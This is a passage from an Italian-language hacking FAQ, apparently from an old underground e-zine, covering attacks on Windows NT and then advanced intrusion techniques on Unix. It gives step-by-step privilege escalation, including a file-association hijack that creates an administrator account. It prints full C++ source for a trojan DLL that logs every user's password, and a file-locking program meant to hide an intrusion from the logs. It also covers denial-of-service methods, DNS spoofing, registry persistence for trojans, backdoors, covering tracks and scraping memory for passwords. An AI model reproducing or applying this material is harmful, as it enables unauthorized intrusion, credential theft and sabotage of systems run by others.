Everyone puo` effettuare una DIR.

\USERS\DEFAULT
Everyone pu• leggere, scrivere ed eseguire file.
QUESITO 2: Qual'e` l'account pi— interessante?

Sicuramente l'account dell'amministratore (SysAdmin), ma potrebbe essere
stato rinominato... in tal caso, basta eseguire "NBTSTAT -A ipaddress" per
conoscere il nuovo nome dell'account e opzionalmente anche un elenco completo
di quali servizi sono in funzione, il nodename e l'eventuale indirizzo
hardware dell'ethernet (in caso di LAN).

QUESITO 3: Dove si trovano le password in Windows NT?

Da nessuna parte.  Windows NT (come anche UNIX) non immagazzina le password,
ma bensi` un hash (valore numerico calcolato in base alla password, dal quale
non si puo` risalire alla stringa originale, in quanto e` solo un numero).

Per crackare gli hash si puo` utilizzare il programma PWDUMP (lo potete
trovare sui siti hacker) e comunque si tratta di un attacco basato su
dizionari, quindi di tipo "brute force" (forza bruta).

Quindi, dicevamo, la domanda giusta sarebbe: "dov'e` l'elenco degli hash?"

La risposta e`: nella directory \WINNT\SYSTEM32\CONFIG c'e` un file chiamato
SAM.  E` questo il database che cerchiamo. E` leggibile da tutti gli utenti
(a meno che quel simpaticone del SysAdmin non ci abbia messo lo zampino), ma
comunque non si puo` leggere in quanto bloccato (via sharing) perche` e` in
uso dai componenti di sistema di NT.  A questo punto il SysAdmin giubila ed
esulta, ma l'hacker sa dell'esistenza di SAM.SAV che Š il backup di SAM...

Inoltre, durante l'installazione di NT, una copia del SAM viene posta in
\WINNT\REPAIR.  Quasi sicuramente troveremo solo gli account Administrator e
Guest, ma credo che Administrator (SysAdmin) sia abbastanza...

A proposito del SAM... se siete completamente pazzi potete anche mettere le vostre manacce nelle keys del SAM.  Per esempio, schedulando il servizio di logon come LocalSystem e permettendogli di interagire con il desktop, e poi schedulando una sessione interattiva di regedt32.exe (come LocalSystem) con il quale manipolare le keys.  Ovviamente se non sapete a cosa serve tutto questo sar… meglio non toccare niente, altrimenti saranno guai grossi...

QUESITO 4: Come accedere al file system se e` di tipo NTFS anziche` FAT ?

Se siete vicini alla macchina (cioe` in locale), effettuate un boot tramite
un dischetto MS-DOS ed eseguite NTFSDOS.EXE per accedere al NTFS.  Oppure
potete utilizzare il dischetto di boot di Linux... in pratica basta
semplicemente eseguire Linux.  Pu• sembrare strano, ma cio` vi dara` accesso
totale al file system in quanto Linux puo` leggere NTFS.

QUESITO 5: Sono vicino alla console locale, come accedo alle informazioni
           degli altri computer?

Se il computer sul quale vi trovate e` un domain controller (oppure se e`
collegato al computer) bastera` fare quanto segue:

1.  Da USER MANAGER, create una trusting relationship (rapporto di fiducia)
    con l'obiettivo.
2.  Inserite la password (quello che volete).  Sembrera` non funzionare, ma
    l'obiettivo sar… ora nella vostra trusting list.
3.  Avviate NT Explorer e cliccate col tasto destro del mouse su qualsiasi
    cartella.
4.  Selezionate SHARING (condivisione).
5.  Dalla finestra SHARED, selezionate ADD ("aggiungi", se NT Š in italiano).
6.  Dal menu ADD, selezionate il vostro obiettivo (il server "vittima").
7.  Ora vedrete l'intera lista dei gruppi dell'obiettivo.
8.  Selezionate SHOW USERS e vedrete l'intera lista utenti, completa di nomi
    dei file, directory e descrizioni...

QUESITO 6: Ho accesso Administrator, come accedere alla lista degli utenti?

Ah ci siete riusciti, bene bene... ;)  Usate questo metodo:

- Eseguite NBTSTAT -A ipaddress
- Aggiungete il nome che otterrete al file LMHOSTS
- Se la versione di NT Š inferiore alla 4, digitate NBTSTAT -R per effettuare
  il refresh dei nomi del NetBios
- Eseguite NET VIEW <a href="//nomemacchina/">\\nomemacchina</a> per vedere gli shares ("condivisioni")
- Eseguite DIR <a href="//nomemacchina/share">\\nomemacchina\share</a> per listare gli shares (se aperti)
- Eseguite NET VIEW <a href="//ipaddress/">\\ipaddress</a> oppure NET VIEW <a href="//nome.completo.com/">\\nome.completo.com</a> se usate
  Windows NT 4.0

QUESITO 7: Ho accesso Guest... come faccio ad avere accesso Administrator?

NT 3.51 ha varie directory (e file) leggibili e scrivibili da tutti gli
utenti per default.  Potete editare le associazioni tra un'applicazione e i
file dati, usando REGEDT32.EXE, ma prima dovete creare (e compilare)
un'applicazione per Win32 (magari in Delphi o C++ a 32-bit) che si limiti ad
eseguire i seguenti comandi e nient'altro:

        net  user  administrator  hacker  /y
        notepad  %1  %2  %3  %4  %5

Inviate (tramite upload) questa "applicazione" in una share (directory di
condivisione) a cui avete accesso e cambiate l'associazione tra i file .txt e
notepad in modo che punti alla locazione completa del vostro file (ad esempio
<a href="//nomeworkstation/RWShare/hahaha.exe">\\NomeWorkstation\RWShare\hahaha.exe</a>).

Non appena un file di testo verra` visualizzato da qualcuno sul server,
quell'associazione verra` eseguita e sara` attivato l'user Administrator con
password "hacker", alla faccia del SysAdmin...

Per questo motivo, se io fossi il SysAdmin eliminerei il permesso Everyone
dalla chiave HKEY_CLASSES_ROOT dei registry, dando l'accesso completo solo a
Creator e Owner.

QUESITO 8: La SYSTEM32 nella directory di sistema di NT Š scrivibile, cosa
           si potrebbe fare?

Se il sistema e` un Windows NT versione 4.0 la risposta e`: molte cose... :)
Basta creare un troiano sotto forma di DLL e rinominarlo FPNWCLNT.DLL e
quindi metterlo in quella directory.  Ad esempio, utilizzando questo troiano
scritto in C++ troverete nella directory \TEMP del server tutti gli username
e password di tutti gli utenti che accedono al sistema...

#include &lt;windows.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  struct UNI_STRING {   USHORT len;   USHORT maxlen;   WCHAR *buff;   };  static HANDLE fh;  BOOLEAN __stdcall InitializeChangeNotify () {   DWORD wrote;   fh = CreateFile("C:\\temp\\shinva.txt", GENERIC_WRITE,     FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS,     FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,     0);   WriteFile(fh, "Procedura InitializeChangeNotify avviata\n", 31, &amp;wrote, 0);   return TRUE; }  LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid,   struct UNI_STRING *passwd) {   DWORD wrote;   WCHAR wbuf[200];   char buf[512];   char buf1[200];   DWORD len;    memcpy(wbuf, user-&gt;buff, user-&gt;len);   len = user-&gt;len/sizeof(WCHAR);   wbuf[len] = 0;   wcstombs(buf1, wbuf, 199);   sprintf(buf, "User = %s : ", buf1);   WriteFile(fh, buf, strlen(buf), &amp;wrote, 0);    memcpy(wbuf, passwd-&gt;buff, passwd-&gt;len);   len = passwd-&gt;len/sizeof(WCHAR);   wbuf[len] = 0;   wcstombs(buf1, wbuf, 199);   sprintf(buf, "Password = %s : ", buf1);   WriteFile(fh, buf, strlen(buf), &amp;wrote, 0);   sprintf(buf, "RID = %x\n", rid);   WriteFile(fh, buf, strlen(buf), &amp;wrote, 0);   return 0L; }  Quando analizzate il vostro "log file" controllate se ci sono username con SID pari a -500 (SysAdmin).  Guest ha SID pari a -501. Ovviamente bisognera` riavviare il server dopo aver inviato la DLL, per farla attivare.  QUESITO 9: Mi trovo con la schermata di login di NT (quella che esce premendo            CTRL-ALT-DEL), come faccio per bypassarla?  Ecco qui di seguito spiegata la procedura per liberarsi dello screen-saver (funziona solo con NT inferiore alla versione 4.0).  Basta entrare come Administrator e verra` mostrato lo schermo del desktop per alcuni secondi.  Utilizzando il mouse (prima che lo schermo desktop non sia piu` accessibile) si possono effettuare modifiche, spostamenti, ecc. Se cio` non dovesse accadere perche` e` stato installato il Service Pack (sulla 3.x) c'e` ancora una speranza: bisognera` andare su un'altra workstation e digitare "shutdown <a href="//nomecomputer/">\\nomecomputer</a> /t:30" in modo che venga attivato uno shutdown (spegnimento) entro 30 secondi sul computer "vittima" e appaia una Security Window.  A questo punto si potra` digitare il comando "shutdown <a href="//nomecomputer/">\\nomecomputer</a> /a" in modo che lo shutdown venga annullato. Andando sul computer "vittima" e muovendo il mouse lo schermo si cancellera` e potremo premere CTRL-ALT-DEL per far apparire di nuovo la Security Window. Si scelga "cancel" e si avra` immediatamente accesso al Program Manager!  QUESITO 10: Come faccio a sapere da remoto se si tratta di NT o 95 ?  In genere e` usanza dei Webmaster scrivere nelle pagine Web "Noi usiamo Windows NT" o qualcosa del genere, ma nella maggioranza dei casi ci limiteremo a controllare che la porta 135 sia aperta (tramite un port scanner o una semplice connessione via Telnet). A questo punto bastera` dare un'occhiata ai registry: se HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT esiste, saremo sicuri che non si tratti di Windows 95. Infine, uno sguardo alla key \CurrentVersion\CurrentVersion ci permettera` di capire di quale versione si tratta. In alternativa, si puo` controllare l'esistenza delle porte del NetBios (137 e 139) e dei servizi SMB.  QUESITO 11: Come faccio ad utilizzare il modo di trasferimento passivo sul             server FTP se non e` attivo?  Se il server FTP utilizzato e` quello di default (Microsoft), bastera` editare una key dei registry di Windows NT:     System\CurrentControlSet\Services\MSFTPSVC\Parameters    chiave:  EnablePortAttack,REG_DWORD  e abilitarla settandola a 1.  QUESITO 12: Come trashare un sistema che utilizza NT ?  Se lasciamo perdere i metodi "tradizionali" (lavorando sui file), eccone alcuni "alternativi" da far gustare al SysAdmin...  Aprendo una connessione Telnet alla porta 53 del server e digitando una decina di caratteri a caso seguiti da invio, bloccheremo il DNS del server fino al riavvio del sistema... niente piu` host name, solo IP address!  Oppure magari vogliamo trasformare il suo Pentium II 233 Mhz in uno 8086 8 Mhz?  Niente di piu` facile, basta collegarsi via Telnet (come sopra) alla porta 135.  Se la porta risponde, facendo come nel caso del DNS, avremo rallentato del 100% la velocit… della CPU...  E se poi il SysAdmin utilizza IIS Microsoft come Web server, una connessione alla porta 1031 gli fara` passare la voglia di usare i programmi di Bill Gates.  Oppure possiamo collegarci alla porta 80 e inviare "GET ../.." per crashare il tutto...  Per causare un riavvio improvviso del sistema o un crash (solo con NT inferiore alla versione 4.0 e NT senza Hotfix) si puo` utilizzare una tecnica conosciuta con il nome di "Ping of Death".  Si tratta di inviare un pacchetto ICMP enorme.  Ecco cosa succedera`: il server ricevera` il pacchetto in forma frammentata, quindi sotto forma di moltissimi piccoli pacchetti.  Quando tentera` di riassemblarli, si avr… un buffer overflow e potranno accadere le cose piu` disparate.  Da Windows 95 e Windows NT basta digitare:     ping -165527 -s 1 nomevittima  L'attacco del SYN flood (o del FIN flood) implica un invio di una quantita` enorme di pacchetti forgiati con un IP address sorgente non esistente. Windows NT e` vulnerabile fino alla versione 4.0 senza Hotfix.  Infine, ad un piu` alto livello, inviando ad un server NT 4.0 un semplice pacchetto DNS di risposta (senza che il server lo abbia richiesto), DNS crashera`.  Con il comando smbmount su Linux 2.0.28+ si puo` inoltre causare un crash con errore di protezione su un server, eseguendo il comando:     smbmount //vittima/servizio /mnt -U nomeclient  Se il file ROLLBACK.EXE e` presente sul server (o se ce lo mettiamo noi...) possiamo eseguirlo e goderci lo spettacolo: i Registry verranno completamente azzerati.  Inoltre, se blocchiamo una porta (ad esempio la 19, detta chargen) il server eseguira` automaticamente ROLLBACK per cercare di risolvere il problema...  Per chi poi conosce a fondo hacking e spoofing, la cosa piu` divertente resta la forgiatura dei pacchetti DNS (di tipo UDP). Effettuando una richiesta DNS e utilizzando uno sniffer per intercettare i pacchetti di risposta e catturare i numeri ID di riposta DNS e` possibile inviare falsi pacchetti DNS a un server in modo che chiunque chieda il suo IP address la risposta sia quella che desideriamo.  In pratica, chiunque si colleghera` a quel server si colleghera` in pratica al server che vogliamo noi, dato dall'IP address che abbiamo inviato nel pacchetto "forgiato".  Con questo metodo, applicato ad altri servizi, e` possibile fare copie di tutte le email che transitano sul sistema, inibire l'accesso ai servizi, re-routing, e molto altro ancora.  QUESITO 13: Come impedire a chiunque, anche al SysAdmin, di accedere a uno o             piu` file?  Ad esempio con questo programmino in C si puo` bloccare un file per quanto tempo si desidera, passando (al programma) il nome del file da bloccare:  #include &lt;windows.h&gt;     void main(int ac, char *av[])     {       HANDLE fp;       fp = CreateFile(av[1], FILE_READ_DATA, 0, 0, OPEN_EXISTING, 0, 0);       if (fp == INVALID_HANDLE_VALUE)         exit(GetLastError());       Sleep(60000)     {  tempo di bloccaggio espresso in: secondi * 1000  }       exit(0);     }  A che puo` servire bloccare un file?  Beh, ad esempio, se blocchiamo un file di log per un'ora e hackeriamo il server per un'ora, il SysAdmin non ne sapra` mai niente...  QUESITO 14: Cos'altro si puo` fare con i Registry?  Troppo lungo da spiegare... come dico sempre, basta usare la fantasia... Comunque ci sono un paio di cosette ancora.  Ad esempio, per effettuare il logging del PPP basta selezionare...  HKEY_LOCAL_MACHINE\CurrentControlSet\Services\RasMan\PPP     valore = Logging     valore = REG_DWORD    valore = 1  (settare questo valore)  mentre per abilitare quello della seriale basta selezionare Parameters (anziche` PPP) come ultimo valore della key.  Una cosa molto utile e` la possibilita` di eseguire le applicazioni che abbiamo inviato (troiani, ad esempio) e per farlo possiamo modificare una di queste due keys...  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VXD  aggiungendo una nuova key di tipo StaticVxd e inserendo il percorso completo dell'applicazione, oppure...  HKEY_LOCAL_MACHINE\\Software\Classes\txtfile\shell\open\command  per sfruttare il metodo delle associazioni (file di testo, in questo caso) per eseguire la nostra applicazione.  Il vantaggio della prima key e` che l'applicazione verra` eseguita a Ring-0 (quindi con accesso completo sul sistema operativo e sulle sue risorse, anche a basso livello, su memoria, disco rigido, ecc).  Buon hacking con NT... IRTUOSISMI TECNICI: PARTE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Questo file conclude il capitolo iniziato nel volume 11, sulle tecniche avanzate di hacking su Unix (da leggere quando sarete piu` esperti). Alcune di queste tecniche sono abbastanza conosciute, mentre altre sono (relativamente) nuove.  Ricordate sempre che:   - fare del port surfing (connettersi via Telnet alle porte di un server    per trovare vie d'accesso non controllate e informazioni utili) e    studiare il funzionamento dei servizi leggendo le RFC presenti su Internet    e` utilissimo per scoprire molte vulnerabilita` di un generico sistema;    vi meraviglierete di quello che potrete trovare: outdial (collegamenti    via modem che vi permettono di telefonare ovunque nel mondo, anche a casa    vostra, digitando comandi standard Hayes direttamente nel modem del    server che state hackerando), liste di informazioni sulla struttura    interna del network (come nel caso della porta 15, detta "netstat"),    possibilita` di manipolare un servizio per fare le cose piu` disparate    e attacchi all'integrita` del sistema, per dirne qualcuna...   - installare una backdoor e` spesso necessario: anche se al momento il    SysAdmin non sa della vostra presenza, prima o poi se ne accorgera` ed    eliminera` il vostro account; inoltre dai log potrebbe risalire al modo    in cui siete "entrati" nel sistema, e correggere il problema: in tal caso,    installare una backdoor preventivamente (cancellando le tracce di ogni    operazione come descritto in uno dei precedenti volumi) e` indispensabile;  Ecco altri consigli piu` o meno avanzati:   - nascondetevi da utmp e dai comandi come "who" utilizzando il programma    incluso in uno dei precedenti volumi, in modo che nessuno potra` notare    la vostra presenza del sistema (per maggior sicurezza collegatevi di    notte o al mattino presto);   - manipolate i file .rhost per poter accedere senza restrizioni da remoto;   - se siete in grado di programmare e conoscete *bene* Unix, potete    installare delle nuove chiamate di sistema che svolgano le operazioni che    vi servono (una per la gestione dei file e dei loro permessi, una di    riserva per l'esecuzione shell, e cosi` via) e disabilitare i controlli    per l'accesso root al sistema, manipolando la kernel (argomento troppo    complicato per poter essere spiegato in questi volumi);   - se avete accesso in scrittura a /dev/kmem cambiate il vostro userid; se    invece avete solo accesso in lettura, scrivete un programmino in C che    intercetti le sessioni degli altri terminali (TTY) per intercettare le    password degli altri utenti;   - modificate i permessi d'accesso dei file piu` interessanti, come /dev/mem    e copiate la shell /bin/sh nella vostra directory utente, in una directory    nascosta (oppure un .term) sotto falso nome e create degli script SUID;   - editate gli script (.login .profile .cshrc ecc...) per installare troiani;   - controllate se esistono password nel file .netrc (potrebbero esservi    utili per accedere ad altri account);   - provate sempre ad utilizzare i programmi in modo "non previsto" ;) per    trovare nuovi bugs: scrivendo !/bin/sh nella schermata di un comando come    "more" o "man", ad esempio, potreste riuscire ad accedere alla shell...   - fate lo stesso con le chiamate di sistema, passando loro parametri non    previsti;   - controllate i file system utilizzando il comando showmount e state attenti    ai permessi... potreste trovare intere partizioni accessibili a chiunque!   - controllate l'esistenza dei seguenti bugs:       lpr -r nomefile           stampera` il file e lo cancellera` (utile in                                caso di file per i quali non avete permessi)      su username -c /bin/sh    dara` accesso a /bin/sh all'account username   - esplorate i file SUID utilizzando il comando:       find / -perm -6000 -ls     per accedere a uno di essi, basta utilizzare il comando "ln" per creare un    link al file interessato, con il nome "-i", e quindi eseguire il link cosi`    creato;   - eliminate SEMPRE le vostre tracce e prendete ogni precauzione nel    collegarvi e nel fare qualsiasi cosa: questo vale tanto per un semplice    provider che per un mainframe del Pentagono (forse un po` di piu` in    quest'ultimo caso... ;)  Un buon metodo per trovare informazioni di ogni tipo (username e password di altri utenti - anche di root, se siete fortunati - posta elettronica di altri e intere sessioni di chat, per citarne alcune) e` creare un programmino in C che allochi quanta piu` memoria possibile, e poi cercare nel blocco allocato (oppure salvare l'intero blocco e scaricarselo per controllarlo con piu` calma). Cio` che accade e` questo: per soddisfare la vostra richiesta di spazio in memoria, il sistema mettera` a disposizione quella usata in precedenza dalle altre applicazioni, senza pero` preoccuparsi di ripulirla! =)

Comments